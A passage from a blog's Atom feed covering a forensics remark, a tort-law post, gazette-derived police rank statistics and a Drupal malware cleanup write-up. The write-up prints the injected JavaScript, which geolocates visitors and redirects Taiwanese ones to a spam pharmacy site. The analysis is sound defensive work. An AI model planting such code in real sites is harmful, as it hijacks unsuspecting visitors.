&lt;p&gt;Once a device has been compromised to such a level, we will not be able to trust the output from any tools running on that system. We will need to do chip-off forensics; desolder the NAND flash chip, mount it onto a reader and read directly from the flash chip. This is a very intrusive process and may not work if there is disk encryption. It would thus make sense to recommend a complete replacement of all existing devices.&lt;/p&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>Katong Cyclist vs Car - Tort</title><link href="https://limbenjamin.com/articles/katong-cyclist-car-tort.html" rel="alternate"></link><published>2023-06-10T13:59:00+08:00</published><updated>2023-06-10T13:59:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-06-10:/articles/katong-cyclist-car-tort.html</id><summary type="html">&lt;p&gt;Earlier this week, there was an interesting &lt;a href="https://www.straitstimes.com/singapore/two-arrested-after-cyclist-jumps-onto-moving-car-s-bonnet-in-katong"&gt;altercation&lt;/a&gt; in Katong. According to the Straits Times, the cyclist jumped onto the bonnet of the car which was then seen moving while the cyclist clung on. Both women have been arrested, I will refrain from commenting further on the criminal aspect since …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Earlier this week, there was an interesting &lt;a href="https://www.straitstimes.com/singapore/two-arrested-after-cyclist-jumps-onto-moving-car-s-bonnet-in-katong"&gt;altercation&lt;/a&gt; in Katong. According to the Straits Times, the cyclist jumped onto the bonnet of the car which was then seen moving while the cyclist clung on. Both women have been arrested, I will refrain from commenting further on the criminal aspect since it is sub judice. However is there a possibility of civil action that the cyclist can take against the driver?  &lt;/p&gt;
&lt;p&gt;It is unclear from both the videos and news article whether the cyclist suffered any physical injury. Furthermore, physical injury may only be revealed after a detailed medical exam. Nonetheless, psychiatric harm or nervous shock is claimable under tort especially since the cyclist is the primary victim who went through the traumatic event herself.  &lt;/p&gt;
&lt;p&gt;This falls under the tort of negligence. A driver owes a duty of care to other road users. The cyclist can argue that it was reasonably foreseeable that the cyclist will suffer physical and psychiatric harm directly as a result of her driving off with the cyclist on the bonnet. At first glance, it would seem like the cyclist does indeed have a cause of action.  &lt;/p&gt;
&lt;p&gt;What defence does the driver have against such a claim? The first would be the defence of contributory negligence. The driver can argue that by jumping onto the bonnet, the cyclist did not take reasonable care of her own safety and should bear some responsibility for her own injuries. However, the cyclist can also counter that argument by claiming that she could not have reasonably foreseen that the driver would actually drive off with her on the bonnet. It is also important to note here that according the the Straits Times article, the cyclist jumped onto the bonnet before the driver drove off. If the driver drove off and the cyclist jumped on to prevent being run over, then the courts would likely not find any contributory negligence due to it being an emergency situation as happened in Jones vs Boyce (1816).  &lt;/p&gt;
&lt;p&gt;The second possible defence that the driver has is that of Ex turpi causa non oritur actio. The driver can claim that the cyclist has engaged in illegal activity which resulted in the injuries sustained, and that the courts should not assist the cyclist as it would be against public policy. We do not want to encourage opportunistic members of public to start obstructing traffic all over the island and provoke drivers into performing a rash act, it would render our roads useless. This argument does have some merit as well.  &lt;/p&gt;
&lt;p&gt;An interesting case indeed. &lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>SPF Promotion Statistics</title><link href="https://limbenjamin.com/articles/spf-promotion-statistics.html" rel="alternate"></link><published>2023-04-05T11:13:00+08:00</published><updated>2023-04-05T11:13:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-04-05:/articles/spf-promotion-statistics.html</id><summary type="html">&lt;p&gt;Congratulations to all 45,137 recipients of the Singapore Police Bicentennial 2020 medal. The medal is awarded to all SPF officers in service during the year of 2020, including regulars, NSFs, NSmen and VSC officers. It is rare for the rank and names of so many police officers to be …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Congratulations to all 45,137 recipients of the Singapore Police Bicentennial 2020 medal. The medal is awarded to all SPF officers in service during the year of 2020, including regulars, NSFs, NSmen and VSC officers. It is rare for the rank and names of so many police officers to be published in the Government Gazette, this provides an excellent opportunity to look at the data and gather some conclusions.  &lt;/p&gt;
&lt;p&gt;Based on the data, the first huge drop-off is at the rank of ASP, I guess a large number of officers leave the service in pursuit of a career change at this point. The next drop-off occurs at the rank of SUPT. This is probably the career ending point for most officers that are not on the scholar track. Interestingly, the number of ACs and SACs are roughly the same. Maybe all ACs will eventually get promoted to SACs after clocking a certain time at that rank.  &lt;/p&gt;
&lt;style&gt;
th, td{
    padding: 0.5em;
}
&lt;/style&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
        &lt;th&gt;&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;CP&lt;/td&gt;
        &lt;td&gt;1&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SUPT&lt;/td&gt;
        &lt;td&gt;403&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;DC&lt;/td&gt;
        &lt;td&gt;4&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;DSP&lt;/td&gt;
        &lt;td&gt;539&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SAC&lt;/td&gt;
        &lt;td&gt;30&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;ASP&lt;/td&gt;
        &lt;td&gt;1691&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;AC&lt;/td&gt;
        &lt;td&gt;33&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;INSP&lt;/td&gt;
        &lt;td&gt;2268&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;DAC&lt;/td&gt;
        &lt;td&gt;90&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;NSI&lt;/td&gt;
        &lt;td&gt;10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SUPT 1A&lt;/td&gt;
        &lt;td&gt;11&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;NSPI&lt;/td&gt;
        &lt;td&gt;5&lt;/td&gt;
    &lt;/tr&gt;       
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;There is a huge number of CPLs. No surprises here, NSFs get promoted to CPL and stay there till ROD. 10 years of NSmen will account for the huge number seen. SSGT, SSI and SSI 2 ranks have been made obsolete in 2016, hence there are less individuals with these ranks. If we take those 3 ranks out of the equation, it appears that SI is probably another career ending point. Without knowing how many INSPs are direct entry, it is hard to tell.  &lt;/p&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
        &lt;th&gt;&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;SSI 2&lt;/td&gt;
        &lt;td&gt;127&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SGT 1&lt;/td&gt;
        &lt;td&gt;6310&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSI&lt;/td&gt;
        &lt;td&gt;170&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SGT&lt;/td&gt;
        &lt;td&gt;380&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SI&lt;/td&gt;
        &lt;td&gt;1840&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;CPL&lt;/td&gt;
        &lt;td&gt;12408&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSSGT&lt;/td&gt;
        &lt;td&gt;2552&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SC2&lt;/td&gt;
        &lt;td&gt;1674&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSGT&lt;/td&gt;
        &lt;td&gt;1086&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SC&lt;/td&gt;
        &lt;td&gt;1358&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SGT3&lt;/td&gt;
        &lt;td&gt;3024&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;Trainee SC&lt;/td&gt;
        &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;SGT2&lt;/td&gt;
        &lt;td&gt;6452&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;PC&lt;/td&gt;
        &lt;td&gt;140&lt;/td&gt;
    &lt;/tr&gt;       
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Based on their names, it appears that the (P) ranks are Gurkhas. These are their numbers, together with the civilians on the MX scheme. It appears that there is inconsistent reporting and the vast majority as simply reported as Mr instead of their MX grade.&lt;/p&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
        &lt;th&gt;&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;CI&lt;/td&gt;
        &lt;td&gt;22&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;MX 11&lt;/td&gt;
        &lt;td&gt;2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSI 2 (P)&lt;/td&gt;
        &lt;td&gt;14&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;MX 12&lt;/td&gt;
        &lt;td&gt;2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSI (P)&lt;/td&gt;
        &lt;td&gt;52&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;MX 13 (I)&lt;/td&gt;
        &lt;td&gt;11&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SI (P)&lt;/td&gt;
        &lt;td&gt;62&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;MX 14&lt;/td&gt;
        &lt;td&gt;7&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSSGT (P)&lt;/td&gt;
        &lt;td&gt;97&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;MX 15&lt;/td&gt;
        &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SSGT (P)&lt;/td&gt;
        &lt;td&gt;82&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;Mr&lt;/td&gt;
        &lt;td&gt;791&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;SGT (P)&lt;/td&gt;
        &lt;td&gt;132&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
    &lt;/tr&gt;       
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Lastly, we have the volunteer force. There are Honorary ranks as well as Acting ranks. Otherwise, nothing much of interest. &lt;/p&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
        &lt;th&gt;&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Count&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;DAC (V)&lt;/td&gt;
        &lt;td&gt;3&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SI (V)&lt;/td&gt;
        &lt;td&gt;64&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;SUPT (V)&lt;/td&gt;
        &lt;td&gt;7&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SSGT (V)&lt;/td&gt;
        &lt;td&gt;99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Hon DSP (V)&lt;/td&gt;
        &lt;td&gt;1&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SGT 3 (V)&lt;/td&gt;
        &lt;td&gt;50&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;DSP (V)&lt;/td&gt;
        &lt;td&gt;8&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SGT 2 (V)&lt;/td&gt;
        &lt;td&gt;136&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Hon ASP (V)&lt;/td&gt;
        &lt;td&gt;7&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SGT 1 (V)&lt;/td&gt;
        &lt;td&gt;201&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;ASP (V)&lt;/td&gt;
        &lt;td&gt;25&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SGT 1 (V) - Trainee&lt;/td&gt;
        &lt;td&gt;22&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;Hon INSP (V)&lt;/td&gt;
        &lt;td&gt;17&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;CPL (V)&lt;/td&gt;
        &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;INSP (V)&lt;/td&gt;
        &lt;td&gt;28&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;SC (V)&lt;/td&gt;
        &lt;td&gt;155&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;Acting Insp (V)&lt;/td&gt;
        &lt;td&gt;8&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;VC2&lt;/td&gt;
        &lt;td&gt;171&lt;/td&gt;
    &lt;/tr&gt;   
    &lt;tr&gt;
        &lt;td&gt;SSI 2 (V)&lt;/td&gt;
        &lt;td&gt;1&lt;/td&gt;
        &lt;td&gt;&lt;/td&gt;
        &lt;td&gt;VC&lt;/td&gt;
        &lt;td&gt;250&lt;/td&gt;
    &lt;/tr&gt;       
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2&gt;Honorary Mentions&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CW 2 Jamaludin Bin Karmani&lt;/code&gt;  - There is only one person with the CW 2 rank. Chief Warder 2 is a rank under the prison services and not the police force. Maybe he was seconded to SPF during that period.  &lt;/p&gt;
&lt;p&gt;&lt;code&gt;CPL Muhammad Danial Haris D’cruz Bin Muhammad Ridzwan Abdullah D’cruz&lt;/code&gt; - Police officer with the longest name.  &lt;/p&gt;</content><category term="articles"></category><category term="Data"></category></entry><entry><title>Drupal Redirect Malware</title><link href="https://limbenjamin.com/articles/drupal-redirect-malware.html" rel="alternate"></link><published>2023-03-18T09:03:00+08:00</published><updated>2023-03-18T09:03:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-03-18:/articles/drupal-redirect-malware.html</id><summary type="html">&lt;p&gt;Just encountered a rather interesting redirection malware. The first sign that something was wrong was that the search engine results on Google had spammy metadata. This may not be an actual compromise as it could have been caused by issues such as spammers submitting fake sitemaps to Google. While accessing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just encountered a rather interesting redirection malware. The first sign that something was wrong was that the search engine results on Google had spammy metadata. This may not be an actual compromise as it could have been caused by issues such as spammers submitting fake sitemaps to Google. While accessing the site, it loaded fine. However, the redirection failed sporadically and I managed to find the following external javascript file embedded onto the site. This was the first sign that the website was truly hacked.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/drupal_redirect_malware.png"&gt;&lt;/p&gt;
&lt;p&gt;I pulled down the javascript file and found that it checked the country code of your IP address and redirected you to www(.)hmbags(.)tw if you happened to have a Taiwan IP. Perhaps the ip-api.com connection timed out occasionally hence giving me the opportunity to catch the redirection happening.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;
&lt;span class="normal"&gt;62&lt;/span&gt;
&lt;span class="normal"&gt;63&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    function ajax(options) {
        options = options || {};
        options.type = (options.type || &amp;quot;GET&amp;quot;).toUpperCase();
        options.dataType = options.dataType || &amp;quot;json&amp;quot;;
        var params = formatParams(options.data);
        var xhr;
        if (window.XMLHttpRequest) {
            xhr = new XMLHttpRequest();
        } else if (window.ActiveObject) {
            xhr = new ActiveXobject(&amp;#39;Microsoft.XMLHTTP&amp;#39;);
        }
        if (options.type == &amp;quot;GET&amp;quot;) {
            xhr.open(&amp;quot;GET&amp;quot;, options.url, true);
            xhr.send(null);
        } else if (options.type == &amp;quot;POST&amp;quot;) {
            xhr.open(&amp;quot;post&amp;quot;, options.url, true);
            xhr.setRequestHeader(&amp;quot;Content-type&amp;quot;, &amp;quot;application/x-www-form-urlencoded&amp;quot;);
            xhr.send(params);
        }
        setTimeout(function() {
            if (xhr.readySate != 4) {
                xhr.abort();
            }
        }, options.timeout)
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                var status = xhr.status;
                if (status &amp;gt;= 200 &amp;amp;&amp;amp; status &amp;lt; 300 || status == 304) {
                    options.success &amp;amp;&amp;amp; options.success(xhr.responseText, xhr.responseXML);
                } else {
                    options.error &amp;amp;&amp;amp; options.error(status);
                }
            }
        }
    }

    function formatParams(data) {
        var arr = [];
        for (var name in data) {
            arr.push(encodeURIComponent(name) + &amp;quot;=&amp;quot; + encodeURIComponent(data[name]));
        }
        arr.push((&amp;quot;v=&amp;quot; + Math.random()).replace(&amp;quot;.&amp;quot;, &amp;quot;&amp;quot;));
        return arr.join(&amp;quot;&amp;amp;&amp;quot;);
    }
    ajax({
        url: &amp;quot;https://pro.ip-api.com/json?key=FMjb5N6z7rcJ8yt&amp;quot;,
        type: &amp;#39;get&amp;#39;,
        dataType: &amp;#39;json&amp;#39;,
        timeout: 10000,
        contentType: &amp;quot;application/json&amp;quot;,
        success: function(data) {
            var location = JSON.parse(data);
            if (location.countryCode === &amp;quot;TW&amp;quot;) {
                window.location.href = &amp;quot;https :// www. hmbags . tw /&amp;quot;;
            } else {
                window.location.href = &amp;quot;&amp;quot;;
            }
            console.log(JSON.parse(data));
        },
        error: function(e) {
            console.log(e);
        }
    })
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Inspecting the contents of hmbags(.)tw on VirusTotal revealed that it is indeed responsible for the spammy content.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;威而鋼

美國原廠正品威而鋼viagra·複燃男人的希望. 【鄭重聲明】 本站商品出貨包裝絕對隱秘，不會出現任何敏感的字眼！ 威而鋼官方logo.
樂威壯(Levitra)效果明顯免處方為什麼男人會陽痿？

性欲是男性勃起機制中的關鍵。性慾強度影響男性荷爾蒙的分泌。而男性荷爾蒙誘使腦部釋放神經傳導物質向下傳導到脊髓的副交感神經核。再經陰莖海綿體神經的神經末梢及 ...
Rating: 5 · ‎1 review · ‎NT$1,480.00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Having confirmed that the website was indeed hacked, I was given access to the Drupal installation and tasked to clean up. Having cPanel access would have made it easier but Drupal does have modules available to perform file management. A little while later, I found the file which was modified (index.php) and managed to clean out the code. The attacker inserted an additional function which was decoded to reveal the following functions.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;  1&lt;/span&gt;
&lt;span class="normal"&gt;  2&lt;/span&gt;
&lt;span class="normal"&gt;  3&lt;/span&gt;
&lt;span class="normal"&gt;  4&lt;/span&gt;
&lt;span class="normal"&gt;  5&lt;/span&gt;
&lt;span class="normal"&gt;  6&lt;/span&gt;
&lt;span class="normal"&gt;  7&lt;/span&gt;
&lt;span class="normal"&gt;  8&lt;/span&gt;
&lt;span class="normal"&gt;  9&lt;/span&gt;
&lt;span class="normal"&gt; 10&lt;/span&gt;
&lt;span class="normal"&gt; 11&lt;/span&gt;
&lt;span class="normal"&gt; 12&lt;/span&gt;
&lt;span class="normal"&gt; 13&lt;/span&gt;
&lt;span class="normal"&gt; 14&lt;/span&gt;
&lt;span class="normal"&gt; 15&lt;/span&gt;
&lt;span class="normal"&gt; 16&lt;/span&gt;
&lt;span class="normal"&gt; 17&lt;/span&gt;
&lt;span class="normal"&gt; 18&lt;/span&gt;
&lt;span class="normal"&gt; 19&lt;/span&gt;
&lt;span class="normal"&gt; 20&lt;/span&gt;
&lt;span class="normal"&gt; 21&lt;/span&gt;
&lt;span class="normal"&gt; 22&lt;/span&gt;
&lt;span class="normal"&gt; 23&lt;/span&gt;
&lt;span class="normal"&gt; 24&lt;/span&gt;
&lt;span class="normal"&gt; 25&lt;/span&gt;
&lt;span class="normal"&gt; 26&lt;/span&gt;
&lt;span class="normal"&gt; 27&lt;/span&gt;
&lt;span class="normal"&gt; 28&lt;/span&gt;
&lt;span class="normal"&gt; 29&lt;/span&gt;
&lt;span class="normal"&gt; 30&lt;/span&gt;
&lt;span class="normal"&gt; 31&lt;/span&gt;
&lt;span class="normal"&gt; 32&lt;/span&gt;
&lt;span class="normal"&gt; 33&lt;/span&gt;
&lt;span class="normal"&gt; 34&lt;/span&gt;
&lt;span class="normal"&gt; 35&lt;/span&gt;
&lt;span class="normal"&gt; 36&lt;/span&gt;
&lt;span class="normal"&gt; 37&lt;/span&gt;
&lt;span class="normal"&gt; 38&lt;/span&gt;
&lt;span class="normal"&gt; 39&lt;/span&gt;
&lt;span class="normal"&gt; 40&lt;/span&gt;
&lt;span class="normal"&gt; 41&lt;/span&gt;
&lt;span class="normal"&gt; 42&lt;/span&gt;
&lt;span class="normal"&gt; 43&lt;/span&gt;
&lt;span class="normal"&gt; 44&lt;/span&gt;
&lt;span class="normal"&gt; 45&lt;/span&gt;
&lt;span class="normal"&gt; 46&lt;/span&gt;
&lt;span class="normal"&gt; 47&lt;/span&gt;
&lt;span class="normal"&gt; 48&lt;/span&gt;
&lt;span class="normal"&gt; 49&lt;/span&gt;
&lt;span class="normal"&gt; 50&lt;/span&gt;
&lt;span class="normal"&gt; 51&lt;/span&gt;
&lt;span class="normal"&gt; 52&lt;/span&gt;
&lt;span class="normal"&gt; 53&lt;/span&gt;
&lt;span class="normal"&gt; 54&lt;/span&gt;
&lt;span class="normal"&gt; 55&lt;/span&gt;
&lt;span class="normal"&gt; 56&lt;/span&gt;
&lt;span class="normal"&gt; 57&lt;/span&gt;
&lt;span class="normal"&gt; 58&lt;/span&gt;
&lt;span class="normal"&gt; 59&lt;/span&gt;
&lt;span class="normal"&gt; 60&lt;/span&gt;
&lt;span class="normal"&gt; 61&lt;/span&gt;
&lt;span class="normal"&gt; 62&lt;/span&gt;
&lt;span class="normal"&gt; 63&lt;/span&gt;
&lt;span class="normal"&gt; 64&lt;/span&gt;
&lt;span class="normal"&gt; 65&lt;/span&gt;
&lt;span class="normal"&gt; 66&lt;/span&gt;
&lt;span class="normal"&gt; 67&lt;/span&gt;
&lt;span class="normal"&gt; 68&lt;/span&gt;
&lt;span class="normal"&gt; 69&lt;/span&gt;
&lt;span class="normal"&gt; 70&lt;/span&gt;
&lt;span class="normal"&gt; 71&lt;/span&gt;
&lt;span class="normal"&gt; 72&lt;/span&gt;
&lt;span class="normal"&gt; 73&lt;/span&gt;
&lt;span class="normal"&gt; 74&lt;/span&gt;
&lt;span class="normal"&gt; 75&lt;/span&gt;
&lt;span class="normal"&gt; 76&lt;/span&gt;
&lt;span class="normal"&gt; 77&lt;/span&gt;
&lt;span class="normal"&gt; 78&lt;/span&gt;
&lt;span class="normal"&gt; 79&lt;/span&gt;
&lt;span class="normal"&gt; 80&lt;/span&gt;
&lt;span class="normal"&gt; 81&lt;/span&gt;
&lt;span class="normal"&gt; 82&lt;/span&gt;
&lt;span class="normal"&gt; 83&lt;/span&gt;
&lt;span class="normal"&gt; 84&lt;/span&gt;
&lt;span class="normal"&gt; 85&lt;/span&gt;
&lt;span class="normal"&gt; 86&lt;/span&gt;
&lt;span class="normal"&gt; 87&lt;/span&gt;
&lt;span class="normal"&gt; 88&lt;/span&gt;
&lt;span class="normal"&gt; 89&lt;/span&gt;
&lt;span class="normal"&gt; 90&lt;/span&gt;
&lt;span class="normal"&gt; 91&lt;/span&gt;
